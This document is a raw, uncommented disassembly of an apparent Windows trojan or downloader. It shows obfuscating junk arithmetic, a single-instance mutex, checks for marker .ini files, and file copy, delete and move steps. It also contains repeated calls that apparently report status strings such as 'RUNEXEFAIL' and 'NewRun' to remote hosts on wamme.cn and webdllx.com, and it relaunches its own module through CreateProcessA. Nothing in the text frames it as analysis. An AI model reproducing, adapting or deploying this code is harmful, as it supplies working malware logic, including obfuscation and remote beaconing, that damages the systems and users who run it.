push str.http:__Stat.wAmmE.cn_C8c_gL_cnZz61.html_paGehttp:__www.WEBDllX.COM_RUNEXEFAIL
sar edx, 1
push 0x45abbc
mov ecx, edx
push 0
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0xfc4]
push 0
push 1
add edx, 0x74
sub esi, ecx
push 0x68
push edx
mov dword [0x45abc8], esi
call fcn.00440912
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x2c
push 0x2710
call edi
jmp 0x403469
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call edi
jmp 0x403469
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x45abc8]
mov eax, dword [0x45abe0]
lea esi, [ecx + eax]
mov ecx, dword [0x45abd0]
mov eax, 0xb81702e1
imul ecx
add edx, ecx
sar edx, 6
shl esi, 4
add esi, edx
mov ebx, edx
mov eax, 0x3e0f83e1
imul ecx
sar edx, 3
shr ebx, 0x1f
add ebx, esi
mov esi, edx
add ebx, edx
mov eax, ecx
mov ecx, dword [0x45abe4]
cdq
and edx, 0xf
add eax, edx
sar eax, 4
shr esi, 0x1f
add esi, ebx
add esi, eax
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
lea ecx, [ebp - 0xfa4]
add eax, edx
push ecx
sub esi, eax
push 0x101
mov dword [0x45abc8], esi
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x4034f0
push 0
call fcn.0042e70a
push 0x3e8
call edi
push 0x413c
lea edx, [ebp - 0x314]
push 0x44ab00
push edx
call fcn.0042e1a1
add esp, 0xc
lea eax, [ebp - 0x314]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x55d4c0], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
mov eax, 0x3159721f
jne 0x4035cb
mov ecx, dword [0x45abd4]
mov edx, dword [0x45abc8]
lea esi, [edx + ecx]
mov ecx, dword [0x45abd8]
imul esi, esi, 0x25
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x78787879
imul ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x45abe4]
mov eax, 0x63e7063f
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x53
sub esi, eax
add esi, edx
mov eax, 0x6bca1af3
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
mov dword [0x45abe4], eax
mov eax, dword [0x45abb8]
cmp eax, 0xffffffff
je 0x4035c4
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
call fcn.0042e70a
mov esi, dword [0x45abe0]
mov ecx, dword [0x45abe8]
imul esi, esi, 0x59
imul ecx, ecx, 0x54
sub esi, ecx
mov ecx, dword [0x45abd4]
imul ecx
sar edx, 4
add esi, edx
mov ebx, edx
mov edx, dword [0x45abe4]
shl edx, 4
shr ebx, 0x1f
add ebx, esi
add ebx, edx
mov eax, 0x94f2095
imul ecx
mov ecx, dword [0x45abcc]
sar edx, 1
mov esi, edx
add ebx, edx
mov eax, 0xdd67c8a7
imul ecx
add edx, ecx
sar edx, 5
shr esi, 0x1f
mov eax, edx
shr eax, 0x1f
add esi, ebx
add esi, edx
mov edx, dword [str._r_____r____]
add eax, esi
sub eax, edx
add eax, 0x4c
push 0
push str.C:Program_FilesMicrosoftSeaPort1.ini
mov dword [0x45abcc], eax
call fcn.0042e53d
add esp, 8
cmp eax, 0xffffffff
jne 0x40366a
push 0
push str.C:Program_FilesWindows_NTAccessOries1.ini
call fcn.0042e53d
add esp, 8
cmp eax, 0xffffffff
je 0x40366a
push 0xea60
call edi
mov ecx, dword [0x45abd0]
mov esi, dword [0x45abc8]
mov eax, 0x6bca1af3
imul esi, esi, 0x37
imul ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x45abd8]
mov edx, ecx
imul edx, edx, 0x52
add esi, edx
mov edx, dword [0x45abdc]
mov eax, 0x63e7063f
imul edx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45abe8]
imul edx, edx, 0x54
sub esi, eax
add esi, edx
mov eax, ecx
mov ecx, dword [0x45abe4]
cdq
and edx, 0xf
add eax, edx
sar eax, 4
add esi, eax
sub esi, ecx
push 0
sub esi, 0x10
push str.C:Program_FilesMicrosoftSeaPort1.ini
mov dword [0x45abd0], esi
call fcn.0042e53d
add esp, 8
cmp eax, 0xffffffff
je 0x40406a
push 0
push str.C:Program_FilesWindows_NTAccessOries1.ini
call fcn.0042e53d
add esp, 8
cmp eax, 0xffffffff
je 0x40406a
mov ecx, dword [0x45abe8]
mov edi, dword [0x45abc8]
mov eax, 0x3159721f
imul edi, edi, 0x53
imul dword [0x45abd4]
sar edx, 4
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0xb81702e1
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x30c30c31
imul ecx
sar edx, 4
add edi, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, edi
mov edi, dword [0x45abe0]
mov eax, 0xdd67c8a7
imul edi
add edx, edi
imul edi, edi, 0x25
sar edx, 5
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
add eax, edi
mov edx, ecx
imul ecx, ecx, 0x54
shl edx, 4
sub eax, edx
sub eax, esi
mov dword [0x45abd8], eax
mov eax, dword [0x45abdc]
imul eax, eax, 0x37
add ecx, eax
mov edi, dword [0x45abcc]
mov eax, 0x63e7063f
imul dword [0x45abd4]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, edi
imul edx, edx, 0x59
sub ecx, eax
add ecx, edx
mov eax, 0x63e7063f
imul edi
sar edx, 5
add ecx, edx
mov ebx, edx
mov eax, 0x78787879
imul edi
push str.C:_WINDoWS_system32driverSetc_serViCe5.ini
shr ebx, 0x1f
sar edx, 5
add ebx, ecx
push 0x200
mov eax, edx
lea ecx, [ebp - 0xc14]
push ecx
shr eax, 0x1f
add eax, edx
push 0x44ae89
sub ebx, eax
push str.ConfigL0
add ebx, esi
push str.GameType1
mov dword [str._r_____r____], ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edi, 0x44ae89
lea esi, [ebp - 0xc14]
mov ecx, 1
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x403ba6
mov esi, dword [0x45abe0]
mov eax, dword [0x45abe8]
imul esi, esi, 0x59
mov ecx, dword [0x45abd4]
imul eax, eax, 0x54
sub esi, eax
mov eax, 0x3159721f
imul ecx
sar edx, 4
add esi, edx
mov edi, edx
mov edx, dword [0x45abe4]
shl edx, 4
shr edi, 0x1f
add edi, esi
add edi, edx
mov eax, 0x94f2095
imul ecx
mov ecx, dword [0x45abcc]
sar edx, 1
mov esi, edx
add edi, edx
mov eax, 0xdd67c8a7
imul ecx
add edx, ecx
sar edx, 5
shr esi, 0x1f
mov eax, edx
shr eax, 0x1f
add esi, edi
add esi, edx
mov edx, dword [str._r_____r____]
add eax, esi
lea ecx, [ebp - 0xc14]
push ecx
sub eax, edx
lea edx, [ebp - 0x14d0]
add eax, 0x4c
push 0x12c
push edx
mov dword [0x45abcc], eax
call fcn.004012d0
add esp, 0xc
cmp eax, 5
jl 0x403ba6
mov esi, dword [0x45abdc]
mov ecx, dword [str._r_____r____]
mov eax, dword [0x45abd8]
lea edi, [eax + ecx]
imul ecx, ecx, 0x53
mov edx, esi
imul edi, edi, 0x37
imul edx, edx, 0x59
add edi, edx
mov eax, 0x3159721f
imul esi
sar edx, 4
add edi, edx
mov ebx, edx
mov eax, 0xdd67c8a7
imul esi
add edx, esi
sar edx, 5
shr ebx, 0x1f
mov eax, edx
shr eax, 0x1f
add eax, edx
add ebx, edi
sub ebx, eax
add ebx, dword [0x45abe0]
lea ecx, [ecx + ebx - 0x10]
mov dword [0x45abd4], ecx
mov ecx, dword [ebp - 0x14d0]
mov eax, ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403920
sub eax, esi
cmp byte [eax + ecx - 1], 0x5c
mov edx, dword [ebp - 0x14c4]
push edx
lea eax, [ebp - 0x614]
push ecx
jne 0x403945
push str._s_s
jmp 0x40394a
push 0x44ad04
push eax
call fcn.0042e1a1
mov ecx, dword [0x45abcc]
mov edx, dword [0x45abd0]
mov esi, dword [0x45abe4]
lea edi, [edx + ecx]
mov eax, 0x3159721f
imul edi, edi, 0x44
imul esi
sar edx, 4
mov ebx, edx
add edi, edx
mov eax, 0x63e7063f
imul esi
mov eax, dword [0x45abe0]
imul eax, eax, 0x21
sar edx, 5
mov esi, edx
shr ebx, 0x1f
shr esi, 0x1f
add ebx, edi
add ebx, edx
mov edx, dword [0x45abdc]
add esi, ebx
add esi, eax
shl edx, 4
add esi, edx
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
add esp, 0x10
lea ecx, [ebp - 0x614]
shr eax, 0x1f
push ecx
add eax, edx
lea edx, [ebp - 0x414]
sub esi, eax
push str._s.bak
push edx
mov dword [0x45abdc], esi
call fcn.0042e1a1
add esp, 0xc
push 0
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x614]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [ebp - 0x614]
push edx
call esi
mov eax, dword [0x45abd4]
mov ecx, dword [0x45abc8]
lea edi, [ecx + eax]
mov ecx, dword [0x45abd8]
imul edi, edi, 0x25
mov eax, 0x3159721f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x78787879
imul ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x45abe4]
mov eax, 0x63e7063f
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov edx, ecx
imul edx, edx, 0x53
add edi, edx
mov eax, 0x6bca1af3
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edi, edx
lea ecx, [ebp - 0x614]
add eax, edi
push 0
push ecx
mov dword [0x45abe4], eax
call fcn.0042e53d
mov ecx, dword [0x45abd0]
add esp, 8
cmp eax, 0xffffffff
je 0x403b09
mov eax, dword [0x45abc8]
mov edx, dword [0x45abe0]
lea edi, [eax + edx]
mov eax, 0xb81702e1
imul ecx
add edx, ecx
sar edx, 6
mov ebx, edx
shl edi, 4
add edi, edx
mov eax, 0x3e0f83e1
imul ecx
sar edx, 3
mov eax, ecx
mov ecx, dword [0x45abe4]
shr ebx, 0x1f
add ebx, edi
mov edi, edx
add ebx, edx
cdq
and edx, 0xf
add eax, edx
shr edi, 0x1f
sar eax, 4
add edi, ebx
add edi, eax
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [ebp - 0x414]
sub edi, ecx
push edx
mov dword [0x45abc8], edi
call esi
push 0
call fcn.0042e70a
mov esi, dword [0x45abc8]
mov eax, 0x6bca1af3
imul esi, esi, 0x37
imul ecx
mov ecx, dword [0x45abd8]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov edx, ecx
imul edx, edx, 0x52
add esi, edx
mov edx, dword [0x45abdc]
mov eax, 0x63e7063f
imul edx
sar edx, 5
mov eax, edx
mov edi, dword [0x45abe4]
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45abe8]
imul edx, edx, 0x54
sub esi, eax
add esi, edx
mov eax, ecx
cdq
and edx, 0xf
add eax, edx
sar eax, 4
add esi, eax
lea eax, [ebp - 0x614]
sub esi, edi
push eax
lea ecx, [ebp - 0x414]
sub esi, 0x10
push ecx
mov dword [0x45abd0], esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea eax, [ebp - 0x614]
lea ecx, [ebp - 0x814]
mov dl, byte [eax]
inc eax
mov byte [ecx], dl
inc ecx
test dl, dl
jne 0x403b94
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [0x45abe8]
mov ebx, dword [0x45abc8]
mov eax, 0xb81702e1
imul esi
add edx, esi
sar edx, 6
mov ecx, ebx
imul ecx, ecx, 0x53
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov edi, dword [0x45abe0]
mov eax, 0x30c30c31
imul esi
sar edx, 4
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov dword [ebp - 0xfa8], eax
mov eax, 0xdd67c8a7
imul edi
mov eax, dword [ebp - 0xfa8]
add edx, edi
imul edi, edi, 0x25
sar edx, 5
add eax, edx
mov ecx, edx
shr ecx, 0x1f
add ecx, eax
add ecx, edi
mov edi, dword [0x45abd4]
mov eax, 0x3159721f
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
shl esi, 4
sub ecx, esi
lea eax, [ebp - 0x814]
mov dword [0x45abd8], ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403c38
sub eax, esi
mov dword [ebp - 0xfa8], eax
jne 0x403c50
push 0
call fcn.0042e70a
mov eax, 0x3159721f
imul ecx
add ebx, edi
sar edx, 4
imul ebx, ebx, 0x25
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x78787879
imul ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
mov ecx, dword [0x45abe4]
mov eax, 0x63e7063f
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x53
sub ebx, eax
add ebx, edx
mov eax, 0x6bca1af3
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add ebx, edx
lea ecx, [ebp - 0x814]
add eax, ebx
push 0
push ecx
mov dword [0x45abe4], eax
call fcn.0042e53d
add esp, 8
cmp eax, 0xffffffff
jne 0x403e1f
mov ecx, dword [0x45abc8]
mov eax, 0x3159721f
imul ecx
sar edx, 4
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0xdd67c8a7
imul ecx
mov eax, dword [0x45abd0]
add edx, ecx
sar edx, 5
add esi, edx
mov ecx, edx
lea edx, [eax + eax*2]
mov eax, dword [0x45abd8]
imul eax, eax, 0x59
shr ecx, 0x1f
add ecx, esi
lea esi, [ecx + edx*2]
mov ecx, dword [0x45abe4]
add esi, eax
shl ecx, 4
push 0
sub esi, ecx
mov ecx, dword [str._r_____r____]
push 0
push 0
mov eax, 0x3e0f83e1
imul ecx
mov ecx, dword [ebp - 0xfc4]
push 0
push str.http:__Stat.wammE.cn_c8C_Gl_cNzz60.html_pagehttp:__www.webdllx.com_NotDllx
push 0x45abbc
sar edx, 3
push 0
mov eax, edx
push 0
shr eax, 0x1f
push 1
add eax, edx
add ecx, 0x74
sub esi, eax
push 0x68
push ecx
mov dword [0x45abe8], esi
call fcn.00440912
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x2c
push 0x2710
call edi
mov esi, dword [0x45abe8]
mov edx, dword [0x45abdc]
imul esi, esi, 0x54
mov ecx, dword [0x45abd4]
imul edx, edx, 0x37
add esi, edx
mov eax, 0x3159721f
imul ecx
sar edx, 4
add esi, edx
mov ebx, edx
mov eax, 0x63e7063f
imul ecx
mov ecx, dword [0x45abcc]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x59
shr ebx, 0x1f
add ebx, esi
sub ebx, eax
add ebx, edx
mov eax, 0x63e7063f
imul ecx
sar edx, 5
mov esi, edx
shr esi, 0x1f
add ebx, edx
mov eax, 0x78787879
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
add esi, ebx
sub esi, eax
push 0
push str.C:Program_FilesMicrosoftSeaPort1.ini
mov dword [str._r_____r____], esi
call fcn.0042e53d
add esp, 8
cmp eax, 0xffffffff
je 0x403e18
push 0
push str.C:Program_FilesWindows_NTAccessOries1.ini
call fcn.0042e53d
add esp, 8
cmp eax, 0xffffffff
jne 0x403e25
push 0
call fcn.0042e70a
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x814]
lea edx, [ebp - 0xa14]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x403e31
mov esi, dword [0x45abe0]
mov ecx, dword [0x45abe8]
imul esi, esi, 0x59
imul ecx, ecx, 0x54
sub esi, ecx
mov ecx, dword [0x45abd4]
mov eax, 0x3159721f
imul ecx
sar edx, 4
add esi, edx
mov ebx, edx
mov edx, dword [0x45abe4]
shl edx, 4
shr ebx, 0x1f
add ebx, esi
add ebx, edx
mov eax, 0x94f2095
imul ecx
mov ecx, dword [0x45abcc]
sar edx, 1
mov esi, edx
add ebx, edx
mov eax, 0xdd67c8a7
imul ecx
add edx, ecx
shr esi, 0x1f
sar edx, 5
add esi, ebx
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
sub eax, dword [str._r_____r____]
add eax, 0x4c
push 0x132db2c
mov dword [0x45abcc], eax
call sym.CallDll.exe_int___cdecl_pro_cess5_int_
add esp, 4
push 0x1388
call edi
mov ecx, dword [0x45abe8]
mov esi, dword [0x45abc8]
mov eax, 0xb81702e1
imul esi, esi, 0x53
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x30c30c31
imul ecx
sar edx, 4
add esi, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, esi
mov esi, dword [0x45abe0]
mov eax, 0xdd67c8a7
imul esi
add edx, esi
imul esi, esi, 0x25
sar edx, 5
add ebx, edx
mov eax, edx
mov edx, dword [0x45abd4]
shr eax, 0x1f
add eax, ebx
add eax, esi
mov ebx, eax
mov eax, 0x3159721f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
shl ecx, 4
push 0
push 0
push 0
push 0
push str.http:__Stat.wammE.cn_c8C_Gl_cNzz60.html_pagehttp:__www.WebDllx.com_NewRun
push 0x45abbc
push 0
sub ebx, ecx
mov ecx, dword [ebp - 0xfc4]
push 0
push 1
add ecx, 0x74
push 0x68
push ecx
mov dword [0x45abd8], ebx
call fcn.00440912
add esp, 0x2c
push 0x2710
call edi
mov ecx, dword [0x45abdc]
mov esi, dword [str._r_____r____]
mov edx, dword [0x45abd8]
lea edi, [edx + esi]
imul esi, esi, 0x53
imul edi, edi, 0x37
mov eax, ecx
imul eax, eax, 0x59
add edi, eax
mov eax, 0x3159721f
imul ecx
sar edx, 4
add edi, edx
mov ebx, edx
mov eax, 0xdd67c8a7
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr ebx, 0x1f
shr eax, 0x1f
add eax, edx
add ebx, edi
sub ebx, eax
add ebx, dword [0x45abe0]
lea edx, [esi + ebx - 0x10]
mov dword [0x45abd4], edx
mov dword [ebp - 0xfac], 0
jmp 0x403fe0
mov esi, dword [0x45abcc]
mov eax, dword [0x45abd0]
mov edi, dword [0x45abe4]
lea ebx, [eax + esi]
mov eax, 0x3159721f
imul ebx, ebx, 0x44
imul edi
sar edx, 4
mov eax, edx
add ebx, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x63e7063f
imul edi
sar edx, 5
mov edi, edx
add ebx, edx
mov edx, dword [0x45abe0]
imul edx, edx, 0x21
shr edi, 0x1f
add edi, ebx
add edi, edx
mov eax, 0x94f2095
imul esi
sar edx, 1
mov eax, edx
shl ecx, 4
shr eax, 0x1f
add edi, ecx
add eax, edx
sub edi, eax
push 0x2710
mov dword [0x45abdc], edi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0xfac]
mov ecx, dword [0x45abdc]
inc eax
mov dword [ebp - 0xfac], eax
jmp 0x403fe0
mov esi, dword [0x45abdc]
mov ecx, dword [str._r_____r____]
mov edx, dword [0x45abd8]
lea ebx, [edx + ecx]
imul ecx, ecx, 0x53
imul ebx, ebx, 0x37
mov eax, esi
imul eax, eax, 0x59
add ebx, eax
mov eax, 0x3159721f
imul esi
sar edx, 4
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0xdd67c8a7
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45abe0]
sub ebx, eax
add ebx, edx
lea ecx, [ecx + ebx - 0x10]
push 0x493e0
mov dword [0x45abd4], ecx
call edi
push 0
call fcn.0042e70a
push 0x200
lea edx, [ebp - 0xa14]
xor eax, eax
push edx
mov ecx, 0x11
lea edi, [ebp - 0x1010]
rep stosd dword es:[edi], eax
push eax
mov dword [ebp - 0x1010], 0x44
mov dword [ebp - 0xfe4], 1
mov word [ebp - 0xfe0], 5
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x1020]
push eax
lea ecx, [ebp - 0x1010]
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
lea edx, [ebp - 0xa14]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, 0x4040cf
ret